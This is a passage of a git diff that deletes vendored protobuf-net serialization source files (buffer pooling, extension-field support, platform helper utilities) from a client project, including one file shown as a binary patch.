ProtoWriter.EndSubItem(token, dest); -#endif - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/BufferExtension.cs b/Client/Core/ProtoBuf/BufferExtension.cs deleted file mode 100644 index 1b6c7b05..00000000 --- a/Client/Core/ProtoBuf/BufferExtension.cs +++ /dev/null @@ -1,80 +0,0 @@ -using System; -using System.IO; - -namespace ProtoBuf -{ - /// - /// Provides a simple buffer-based implementation of an extension object. - /// - public sealed class BufferExtension : IExtension - { - private byte[] buffer; - - int IExtension.GetLength() - { - return buffer == null ? 0 : buffer.Length; - } - - Stream IExtension.BeginAppend() - { - return new MemoryStream(); - } - - void IExtension.EndAppend(Stream stream, bool commit) - { - using (stream) - { - int len; - if (commit && (len = (int) stream.Length) > 0) - { - using (MemoryStream ms = (MemoryStream) stream) - { - if (buffer == null) - { - // allocate new buffer - buffer = ms.ToArray(); - } - else - { - // resize and copy the data - // note: Array.Resize not available on CF - int offset = buffer.Length; - byte[] tmp = new byte[offset + len]; - Helpers.BlockCopy(buffer, 0, tmp, 0, offset); - -#if PORTABLE || WINRT // no GetBuffer() - fine, we'll use Read instead - int bytesRead; - long oldPos = ms.Position; - ms.Position = 0; - while (len > 0 && (bytesRead = ms.Read(tmp, offset, len)) > 0) - { - len -= bytesRead; - offset += bytesRead; - } - if(len != 0) throw new EndOfStreamException(); - ms.Position = oldPos; -#else - Helpers.BlockCopy(ms.GetBuffer(), 0, tmp, offset, len); -#endif - buffer = tmp; - } - } - } - } - } - - Stream IExtension.BeginQuery() - { - return buffer == null ? Stream.Null : new MemoryStream(buffer); - } - - void IExtension.EndQuery(Stream stream) - { - // Clean up - if (stream != null) - { - stream.Dispose(); - } - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/BufferPool.cs b/Client/Core/ProtoBuf/BufferPool.cs deleted file mode 100644 index b72b3ecb..00000000 --- a/Client/Core/ProtoBuf/BufferPool.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.Threading; - -namespace ProtoBuf -{ - internal sealed class BufferPool - { - internal static void Flush() - { -#if PLAT_NO_INTERLOCKED - lock(pool) - { - for (int i = 0; i < pool.Length; i++) pool[i] = null; - } -#else - for (int i = 0; i < pool.Length; i++) - { - Interlocked.Exchange(ref pool[i], null); // and drop the old value on the floor - } -#endif - } - - private BufferPool() - { - } - - private const int PoolSize = 20; - internal const int BufferLength = 1024; - private static readonly object[] pool = new object[PoolSize]; - - internal static byte[] GetBuffer() - { - object tmp; -#if PLAT_NO_INTERLOCKED - lock(pool) - { - for (int i = 0; i < pool.Length; i++) - { - if((tmp = pool[i]) != null) - { - pool[i] = null; - return (byte[])tmp; - } - } - } -#else - for (int i = 0; i < pool.Length; i++) - { - if ((tmp = Interlocked.Exchange(ref pool[i], null)) != null) return (byte[]) tmp; - } -#endif - return new byte[BufferLength]; - } - - internal static void ResizeAndFlushLeft(ref byte[] buffer, int toFitAtLeastBytes, int copyFromIndex, - int copyBytes) - { - Helpers.DebugAssert(buffer != null); - Helpers.DebugAssert(toFitAtLeastBytes > buffer.Length); - Helpers.DebugAssert(copyFromIndex >= 0); - Helpers.DebugAssert(copyBytes >= 0); - - // try doubling, else match - int newLength = buffer.Length*2; - if (newLength < toFitAtLeastBytes) newLength = toFitAtLeastBytes; - - byte[] newBuffer = new byte[newLength]; - if (copyBytes > 0) - { - Helpers.BlockCopy(buffer, copyFromIndex, newBuffer, 0, copyBytes); - } - if (buffer.Length == BufferPool.BufferLength) - { - BufferPool.ReleaseBufferToPool(ref buffer); - } - buffer = newBuffer; - } - - internal static void ReleaseBufferToPool(ref byte[] buffer) - { - if (buffer == null) return; - if (buffer.Length == BufferLength) - { -#if PLAT_NO_INTERLOCKED - lock (pool) - { - for (int i = 0; i < pool.Length; i++) - { - if(pool[i] == null) - { - pool[i] = buffer; - break; - } - } - } -#else - for (int i = 0; i < pool.Length; i++) - { - if (Interlocked.CompareExchange(ref pool[i], buffer, null) == null) - { - break; // found a null; swapped it in - } - } -#endif - } - // if no space, just drop it on the floor - buffer = null; - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/CallbackAttributes.cs b/Client/Core/ProtoBuf/CallbackAttributes.cs deleted file mode 100644 index 9264e704..00000000 --- a/Client/Core/ProtoBuf/CallbackAttributes.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.ComponentModel; - -namespace ProtoBuf -{ - /// Specifies a method on the root-contract in an hierarchy to be invoked before serialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoBeforeSerializationAttribute : Attribute - { - } - - /// Specifies a method on the root-contract in an hierarchy to be invoked after serialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoAfterSerializationAttribute : Attribute - { - } - - /// Specifies a method on the root-contract in an hierarchy to be invoked before deserialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoBeforeDeserializationAttribute : Attribute - { - } - - /// Specifies a method on the root-contract in an hierarchy to be invoked after deserialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoAfterDeserializationAttribute : Attribute - { - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/DataFormat.cs b/Client/Core/ProtoBuf/DataFormat.cs deleted file mode 100644 index 2e9335b1..00000000 --- a/Client/Core/ProtoBuf/DataFormat.cs +++ /dev/null @@ -1,41 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Sub-format to use when serializing/deserializing data - /// - public enum DataFormat - { - /// - /// Uses the default encoding for the data-type. - /// - Default, - - /// - /// When applied to signed integer-based data (including Decimal), this - /// indicates that zigzag variant encoding will be used. This means that values - /// with small magnitude (regardless of sign) take a small amount - /// of space to encode. - /// - ZigZag, - - /// - /// When applied to signed integer-based data (including Decimal), this - /// indicates that two's-complement variant encoding will be used. - /// This means that any -ve number will take 10 bytes (even for 32-bit), - /// so should only be used for compatibility. - /// - TwosComplement, - - /// - /// When applied to signed integer-based data (including Decimal), this - /// indicates that a fixed amount of space will be used. - /// - FixedSize, - - /// - /// When applied to a sub-message, indicates that the value should be treated - /// as group-delimited. - /// - Group - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Extensible.cs b/Client/Core/ProtoBuf/Extensible.cs deleted file mode 100644 index a3105e3b..00000000 --- a/Client/Core/ProtoBuf/Extensible.cs +++ /dev/null @@ -1,294 +0,0 @@ -#if !NO_GENERICS -using System.Collections.Generic; -#endif -using ProtoBuf.Meta; -using System.Collections; - -namespace ProtoBuf -{ - /// - /// Simple base class for supporting unexpected fields allowing - /// for loss-less round-tips/merge, even if the data is not understod. - /// The additional fields are (by default) stored in-memory in a buffer. - /// - /// As an example of an alternative implementation, you might - /// choose to use the file system (temporary files) as the back-end, tracking - /// only the paths [such an object would ideally be IDisposable and use - /// a finalizer to ensure that the files are removed]. - /// - public abstract class Extensible : IExtensible - { - // note: not marked ProtoContract - no local state, and can't - // predict sub-classes - - - private IExtension extensionObject; - - IExtension IExtensible.GetExtensionObject(bool createIfMissing) - { - return GetExtensionObject(createIfMissing); - } - - /// - /// Retrieves the extension object for the current - /// instance, optionally creating it if it does not already exist. - /// - /// Should a new extension object be - /// created if it does not already exist? - /// The extension object if it exists (or was created), or null - /// if the extension object does not exist or is not available. - /// The createIfMissing argument is false during serialization, - /// and true during deserialization upon encountering unexpected fields. - protected virtual IExtension GetExtensionObject(bool createIfMissing) - { - return GetExtensionObject(ref extensionObject, createIfMissing); - } - - /// - /// Provides a simple, default implementation for extension support, - /// optionally creating it if it does not already exist. Designed to be called by - /// classes implementing . - /// - /// Should a new extension object be - /// created if it does not already exist? - /// The extension field to check (and possibly update). - /// The extension object if it exists (or was created), or null - /// if the extension object does not exist or is not available. - /// The createIfMissing argument is false during serialization, - /// and true during deserialization upon encountering unexpected fields. - public static IExtension GetExtensionObject(ref IExtension extensionObject, bool createIfMissing) - { - if (createIfMissing && extensionObject == null) - { - extensionObject = new BufferExtension(); - } - return extensionObject; - } - -#if !NO_RUNTIME && !NO_GENERICS - /// - /// Appends the value as an additional (unexpected) data-field for the instance. - /// Note that for non-repeated sub-objects, this equates to a merge operation; - /// for repeated sub-objects this adds a new instance to the set; for simple - /// values the new value supercedes the old value. - /// - /// Note that appending a value does not remove the old value from - /// the stream; avoid repeatedly appending values for the same field. - /// The type of the value to append. - /// The extensible object to append the value to. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The value to append. - public static void AppendValue(IExtensible instance, int tag, TValue value) - { - AppendValue(instance, tag, DataFormat.Default, value); - } - - /// - /// Appends the value as an additional (unexpected) data-field for the instance. - /// Note that for non-repeated sub-objects, this equates to a merge operation; - /// for repeated sub-objects this adds a new instance to the set; for simple - /// values the new value supercedes the old value. - /// - /// Note that appending a value does not remove the old value from - /// the stream; avoid repeatedly appending values for the same field. - /// The data-type of the field. - /// The data-format to use when encoding the value. - /// The extensible object to append the value to. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The value to append. - public static void AppendValue(IExtensible instance, int tag, DataFormat format, TValue value) - { - ExtensibleUtil.AppendExtendValue(RuntimeTypeModel.Default, instance, tag, format, value); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned is the composed value after merging any duplicated content; if the - /// value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The effective value of the field, or the default value if not found. - public static TValue GetValue(IExtensible instance, int tag) - { - return GetValue(instance, tag, DataFormat.Default); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned is the composed value after merging any duplicated content; if the - /// value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// The effective value of the field, or the default value if not found. - public static TValue GetValue(IExtensible instance, int tag, DataFormat format) - { - TValue value; - TryGetValue(instance, tag, format, out value); - return value; - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(IExtensible instance, int tag, out TValue value) - { - return TryGetValue(instance, tag, DataFormat.Default, out value); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(IExtensible instance, int tag, DataFormat format, out TValue value) - { - return TryGetValue(instance, tag, format, false, out value); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// Allow tags that are present as part of the definition; for example, to query unknown enum values. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(IExtensible instance, int tag, DataFormat format, bool allowDefinedTag, - out TValue value) - { - value = default(TValue); - bool set = false; - foreach ( - TValue val in ExtensibleUtil.GetExtendedValues(instance, tag, format, true, allowDefinedTag)) - { - // expecting at most one yield... - // but don't break; need to read entire stream - value = val; - set = true; - } - - return set; - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// Each occurrence of the field is yielded separately, making this usage suitable for "repeated" - /// (list) fields. - /// - /// The extended data is processed lazily as the enumerator is iterated. - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// An enumerator that yields each occurrence of the field. - public static IEnumerable GetValues(IExtensible instance, int tag) - { - return ExtensibleUtil.GetExtendedValues(instance, tag, DataFormat.Default, false, false); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// Each occurrence of the field is yielded separately, making this usage suitable for "repeated" - /// (list) fields. - /// - /// The extended data is processed lazily as the enumerator is iterated. - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// An enumerator that yields each occurrence of the field. - public static IEnumerable GetValues(IExtensible instance, int tag, DataFormat format) - { - return ExtensibleUtil.GetExtendedValues(instance, tag, format, false, false); - } -#endif - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The model to use for configuration. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// Allow tags that are present as part of the definition; for example, to query unknown enum values. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(TypeModel model, System.Type type, IExtensible instance, int tag, - DataFormat format, bool allowDefinedTag, out object value) - { - value = null; - bool set = false; - foreach ( - object val in - ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, true, allowDefinedTag)) - { - // expecting at most one yield... - // but don't break; need to read entire stream - value = val; - set = true; - } - - return set; - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// Each occurrence of the field is yielded separately, making this usage suitable for "repeated" - /// (list) fields. - /// - /// The extended data is processed lazily as the enumerator is iterated. - /// The model to use for configuration. - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// An enumerator that yields each occurrence of the field. - public static IEnumerable GetValues(TypeModel model, System.Type type, IExtensible instance, int tag, - DataFormat format) - { - return ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, false, false); - } - - /// - /// Appends the value as an additional (unexpected) data-field for the instance. - /// Note that for non-repeated sub-objects, this equates to a merge operation; - /// for repeated sub-objects this adds a new instance to the set; for simple - /// values the new value supercedes the old value. - /// - /// Note that appending a value does not remove the old value from - /// the stream; avoid repeatedly appending values for the same field. - /// The model to use for configuration. - /// The data-format to use when encoding the value. - /// The extensible object to append the value to. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The value to append. - public static void AppendValue(TypeModel model, IExtensible instance, int tag, DataFormat format, object value) - { - ExtensibleUtil.AppendExtendValue(model, instance, tag, format, value); - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ExtensibleUtil.cs b/Client/Core/ProtoBuf/ExtensibleUtil.cs deleted file mode 100644 index 4686d692..00000000 --- a/Client/Core/ProtoBuf/ExtensibleUtil.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using System.Collections; -#if !NO_GENERICS -using System.Collections.Generic; -#endif -using System.IO; -using ProtoBuf.Meta; - -namespace ProtoBuf -{ - /// - /// This class acts as an internal wrapper allowing us to do a dynamic - /// methodinfo invoke; an't put into Serializer as don't want on public - /// API; can't put into Serializer<T> since we need to invoke - /// accross classes, which isn't allowed in Silverlight) - /// - internal -#if FX11 - sealed -#else - static -#endif - class ExtensibleUtil - { -#if FX11 - private ExtensibleUtil() { } // not a static class for C# 1.2 reasons -#endif - -#if !NO_RUNTIME && !NO_GENERICS - /// - /// All this does is call GetExtendedValuesTyped with the correct type for "instance"; - /// this ensures that we don't get issues with subclasses declaring conflicting types - - /// the caller must respect the fields defined for the type they pass in. - /// - internal static IEnumerable GetExtendedValues(IExtensible instance, int tag, DataFormat format, - bool singleton, bool allowDefinedTag) - { - foreach ( - TValue value in - GetExtendedValues(RuntimeTypeModel.Default, typeof (TValue), instance, tag, format, singleton, - allowDefinedTag)) - { - yield return value; - } - } -#endif - - /// - /// All this does is call GetExtendedValuesTyped with the correct type for "instance"; - /// this ensures that we don't get issues with subclasses declaring conflicting types - - /// the caller must respect the fields defined for the type they pass in. - /// - internal static IEnumerable GetExtendedValues(TypeModel model, Type type, IExtensible instance, int tag, - DataFormat format, bool singleton, bool allowDefinedTag) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - - if (instance == null) throw new ArgumentNullException("instance"); - if (tag <= 0) throw new ArgumentOutOfRangeException("tag"); - IExtension extn = instance.GetExtensionObject(false); - - if (extn == null) - { -#if FX11 - return new object[0]; -#else - yield break; -#endif - } - -#if FX11 - BasicList result = new BasicList(); -#endif - Stream stream = extn.BeginQuery(); - object value = null; - ProtoReader reader = null; - try - { - SerializationContext ctx = new SerializationContext(); - reader = ProtoReader.Create(stream, model, ctx, ProtoReader.TO_EOF); - while ( - model.TryDeserializeAuxiliaryType(reader, format, tag, type, ref value, true, false, false, false) && - value != null) - { - if (!singleton) - { -#if FX11 - result.Add(value); -#else - yield return value; -#endif - value = null; // fresh item each time - } - } - if (singleton && value != null) - { -#if FX11 - result.Add(value); -#else - yield return value; -#endif - } -#if FX11 - object[] resultArr = new object[result.Count]; - result.CopyTo(resultArr, 0); - return resultArr; -#endif - } - finally - { - ProtoReader.Recycle(reader); - extn.EndQuery(stream); - } -#endif - } - - internal static void AppendExtendValue(TypeModel model, IExtensible instance, int tag, DataFormat format, - object value) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (instance == null) throw new ArgumentNullException("instance"); - if (value == null) throw new ArgumentNullException("value"); - - // TODO - //model.CheckTagNotInUse(tag); - - // obtain the extension object and prepare to write - IExtension extn = instance.GetExtensionObject(true); - if (extn == null) - throw new InvalidOperationException("No extension object available; appended data would be lost."); - bool commit = false; - Stream stream = extn.BeginAppend(); - try - { - using (ProtoWriter writer = new ProtoWriter(stream, model, null)) - { - model.TrySerializeAuxiliaryType(writer, null, format, tag, value, false); - writer.Close(); - } - commit = true; - } - finally - { - extn.EndAppend(stream, commit); - } -#endif - } - -//#if !NO_GENERICS -// /// -// /// Stores the given value into the instance's stream; the serializer -// /// is inferred from TValue and format. -// /// -// /// Needs to be public to be callable thru reflection in Silverlight -// public static void AppendExtendValueTyped( -// TypeModel model, TSource instance, int tag, DataFormat format, TValue value) -// where TSource : class, IExtensible -// { -// AppendExtendValue(model, instance, tag, format, value); -// } -//#endif - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/GlobalSuppressions.cs b/Client/Core/ProtoBuf/GlobalSuppressions.cs deleted file mode 100644 index 72b01be499b6212c24ac4fef8bbba0fd458ab6d2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2940 zcmeH}Pm2>l5XI{(_#N8Wi-H>!1X1v?t_XWjgyf)zhjB9bqnSy_%q--~tH0N^%}kO- z6g=p%G?VV>s;+wVs;VbHzTdSwc4AALS+INd#y;2+hISt@f=z6Jv|%-4URlY?-#d0o zoAUm}cKn{(nm5VMthOB89U89NA`4cryF}Jr&B4aj*@m&@T*G*KHRm>umU|W$=uAMWh!yEJ#v+XCsFRS+IVs&5$uLfN+pu3C7w5&1ot!h`y+O8)x_a|S zb5>%%!h-DN=#=&_%6Cy$Ye_4Z6l%SfoGu1z^mryQjvRmTA?w$3k^J{er+SfnQT|ijRVBT&NAs&1^BU@~-eO5!H(>XAOX#wriVFudm&KEb;UU%@ zMP?Tf-(mH7RRp@oJ0%-18tfxzI#5j`qpAy{fLNIQ1I*%7idBpj5UR_7nSu{XIHjb-$1ATL#Or zqTXwGW>_8BJG@lv*Z6YYGklzJ|2(tD_7sd4u%!+W2F0m*ZSc0hhB7_1SL}^rT`OiW zDU@4=cerAeZLyG|P4hlV`3m-uC&OxoKgTo%w|7~R9`~1PPKc-PcDLlWih9#+iYrBN z8TlyT#c$0O-X7TJi1RjEf0ix3)5WpA4KwZ-byfSHGy43u>;F7<_us1ho5|))y-jq7 e>0id}?a{_>-oJF$_c_shrssrg>A#!4Wg} diff --git a/Client/Core/ProtoBuf/Helpers.cs b/Client/Core/ProtoBuf/Helpers.cs deleted file mode 100644 index b795fbac..00000000 --- a/Client/Core/ProtoBuf/Helpers.cs +++ /dev/null @@ -1,630 +0,0 @@ -using System; -using System.Collections; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Not all frameworks are created equal (fx1.1 vs fx2.0, - /// micro-framework, compact-framework, - /// silverlight, etc). This class simply wraps up a few things that would - /// otherwise make the real code unnecessarily messy, providing fallback - /// implementations if necessary. - /// - internal sealed class Helpers - { - private Helpers() - { - } - - public static System.Text.StringBuilder AppendLine(System.Text.StringBuilder builder) - { -#if CF2 - return builder.Append("\r\n"); -#elif FX11 - return builder.Append(Environment.NewLine); -#else - return builder.AppendLine(); -#endif - } - - public static bool IsNullOrEmpty(string value) - { - // yes, FX11 lacks this! - return value == null || value.Length == 0; - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugWriteLine(string message, object obj) - { -#if DEBUG - string suffix; - try - { - suffix = obj == null ? "(null)" : obj.ToString(); - } - catch - { - suffix = "(exception)"; - } - DebugWriteLine(message + ": " + suffix); -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugWriteLine(string message) - { -#if DEBUG -#if MF - Microsoft.SPOT.Debug.Print(message); -#else - System.Diagnostics.Debug.WriteLine(message); -#endif -#endif - } - - [System.Diagnostics.Conditional("TRACE")] - public static void TraceWriteLine(string message) - { -#if TRACE -#if MF - Microsoft.SPOT.Trace.Print(message); -#elif SILVERLIGHT || MONODROID || CF2 || WINRT || IOS || PORTABLE - System.Diagnostics.Debug.WriteLine(message); -#else - System.Diagnostics.Trace.WriteLine(message); -#endif -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugAssert(bool condition, string message) - { -#if DEBUG - if (!condition) - { -#if MF - Microsoft.SPOT.Debug.Assert(false, message); -#else - System.Diagnostics.Debug.Assert(false, message); - } -#endif -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugAssert(bool condition, string message, params object[] args) - { -#if DEBUG - if (!condition) DebugAssert(false, string.Format(message, args)); -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugAssert(bool condition) - { -#if DEBUG -#if MF - Microsoft.SPOT.Debug.Assert(condition); -#else - if (!condition && System.Diagnostics.Debugger.IsAttached) System.Diagnostics.Debugger.Break(); - System.Diagnostics.Debug.Assert(condition); -#endif -#endif - } - -#if !NO_RUNTIME - public static void Sort(int[] keys, object[] values) - { - // bubble-sort; it'll work on MF, has small code, - // and works well-enough for our sizes. This approach - // also allows us to do `int` compares without having - // to go via IComparable etc, so win:win - bool swapped; - do - { - swapped = false; - for (int i = 1; i < keys.Length; i++) - { - if (keys[i - 1] > keys[i]) - { - int tmpKey = keys[i]; - keys[i] = keys[i - 1]; - keys[i - 1] = tmpKey; - object tmpValue = values[i]; - values[i] = values[i - 1]; - values[i - 1] = tmpValue; - swapped = true; - } - } - } while (swapped); - } -#endif - - public static void BlockCopy(byte[] from, int fromIndex, byte[] to, int toIndex, int count) - { -#if MF || WINRT - Array.Copy(from, fromIndex, to, toIndex, count); -#else - Buffer.BlockCopy(from, fromIndex, to, toIndex, count); -#endif - } - - public static bool IsInfinity(float value) - { -#if MF - const float inf = (float)1.0 / (float)0.0, minf = (float)-1.0F / (float)0.0; - return value == inf || value == minf; -#else - return float.IsInfinity(value); -#endif - } - -#if WINRT - internal static MemberInfo GetInstanceMember(TypeInfo declaringType, string name) - { - PropertyInfo prop = declaringType.GetDeclaredProperty(name); - MethodInfo method; - if (prop != null && (method = Helpers.GetGetMethod(prop, true, true)) != null && !method.IsStatic) return prop; - - FieldInfo field = declaringType.GetDeclaredField(name); - if (field != null && !field.IsStatic) return field; - - return null; - } - internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name) - { - foreach (MethodInfo method in declaringType.DeclaredMethods) - { - if (!method.IsStatic && method.Name == name) - { - return method; - } - } - return null; - } - internal static MethodInfo GetStaticMethod(TypeInfo declaringType, string name) - { - foreach (MethodInfo method in declaringType.DeclaredMethods) - { - if (method.IsStatic && method.Name == name) - { - return method; - } - } - return null; - } - internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types) - { - return GetInstanceMethod(declaringType.GetTypeInfo(), name, types); - } - internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name, Type[] types) - { - if (types == null) types = EmptyTypes; - foreach (MethodInfo method in declaringType.DeclaredMethods) - { - if (!method.IsStatic && method.Name == name) - { - if(IsMatch(method.GetParameters(), types)) return method; - } - } - return null; - } -#else - internal static MethodInfo GetInstanceMethod(Type declaringType, string name) - { - return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); - } - - internal static MethodInfo GetStaticMethod(Type declaringType, string name) - { - return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - } - - internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types) - { - if (types == null) types = EmptyTypes; -#if PORTABLE - MethodInfo method = declaringType.GetMethod(name, types); - if (method != null && method.IsStatic) method = null; - return method; -#else - return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, - null, types, null); -#endif - } -#endif - - internal static bool IsSubclassOf(Type type, Type baseClass) - { -#if WINRT - return type.GetTypeInfo().IsSubclassOf(baseClass); -#else - return type.IsSubclassOf(baseClass); -#endif - } - - public static bool IsInfinity(double value) - { -#if MF - const double inf = (double)1.0 / (double)0.0, minf = (double)-1.0F / (double)0.0; - return value == inf || value == minf; -#else - return double.IsInfinity(value); -#endif - } - - public static readonly Type[] EmptyTypes = -#if PORTABLE || WINRT || CF2 || CF35 - new Type[0]; -#else - Type.EmptyTypes; -#endif - -#if WINRT - private static readonly Type[] knownTypes = new Type[] { - typeof(bool), typeof(char), typeof(sbyte), typeof(byte), - typeof(short), typeof(ushort), typeof(int), typeof(uint), - typeof(long), typeof(ulong), typeof(float), typeof(double), - typeof(decimal), typeof(string), - typeof(DateTime), typeof(TimeSpan), typeof(Guid), typeof(Uri), - typeof(byte[]), typeof(System.Type)}; - private static readonly ProtoTypeCode[] knownCodes = new ProtoTypeCode[] { - ProtoTypeCode.Boolean, ProtoTypeCode.Char, ProtoTypeCode.SByte, ProtoTypeCode.Byte, - ProtoTypeCode.Int16, ProtoTypeCode.UInt16, ProtoTypeCode.Int32, ProtoTypeCode.UInt32, - ProtoTypeCode.Int64, ProtoTypeCode.UInt64, ProtoTypeCode.Single, ProtoTypeCode.Double, - ProtoTypeCode.Decimal, ProtoTypeCode.String, - ProtoTypeCode.DateTime, ProtoTypeCode.TimeSpan, ProtoTypeCode.Guid, ProtoTypeCode.Uri, - ProtoTypeCode.ByteArray, ProtoTypeCode.Type - }; - -#endif - -#if FEAT_IKVM - public static ProtoTypeCode GetTypeCode(IKVM.Reflection.Type type) - { - TypeCode code = IKVM.Reflection.Type.GetTypeCode(type); - switch (code) - { - case TypeCode.Empty: - case TypeCode.Boolean: - case TypeCode.Char: - case TypeCode.SByte: - case TypeCode.Byte: - case TypeCode.Int16: - case TypeCode.UInt16: - case TypeCode.Int32: - case TypeCode.UInt32: - case TypeCode.Int64: - case TypeCode.UInt64: - case TypeCode.Single: - case TypeCode.Double: - case TypeCode.Decimal: - case TypeCode.DateTime: - case TypeCode.String: - return (ProtoTypeCode)code; - } - switch(type.FullName) - { - case "System.TimeSpan": return ProtoTypeCode.TimeSpan; - case "System.Guid": return ProtoTypeCode.Guid; - case "System.Uri": return ProtoTypeCode.Uri; - case "System.Byte[]": return ProtoTypeCode.ByteArray; - case "System.Type": return ProtoTypeCode.Type; - } - return ProtoTypeCode.Unknown; - } -#endif - - public static ProtoTypeCode GetTypeCode(System.Type type) - { -#if WINRT - - int idx = Array.IndexOf(knownTypes, type); - if (idx >= 0) return knownCodes[idx]; - return type == null ? ProtoTypeCode.Empty : ProtoTypeCode.Unknown; -#else - TypeCode code = System.Type.GetTypeCode(type); - switch (code) - { - case TypeCode.Empty: - case TypeCode.Boolean: - case TypeCode.Char: - case TypeCode.SByte: - case TypeCode.Byte: - case TypeCode.Int16: - case TypeCode.UInt16: - case TypeCode.Int32: - case TypeCode.UInt32: - case TypeCode.Int64: - case TypeCode.UInt64: - case TypeCode.Single: - case TypeCode.Double: - case TypeCode.Decimal: - case TypeCode.DateTime: - case TypeCode.String: - return (ProtoTypeCode) code; - } - if (type == typeof (TimeSpan)) return ProtoTypeCode.TimeSpan; - if (type == typeof (Guid)) return ProtoTypeCode.Guid; - if (type == typeof (Uri)) return ProtoTypeCode.Uri; - if (type == typeof (byte[])) return ProtoTypeCode.ByteArray; - if (type == typeof (System.Type)) return ProtoTypeCode.Type; - - return ProtoTypeCode.Unknown; -#endif - } - - -#if FEAT_IKVM - internal static IKVM.Reflection.Type GetUnderlyingType(IKVM.Reflection.Type type) - { - if (type.IsValueType && 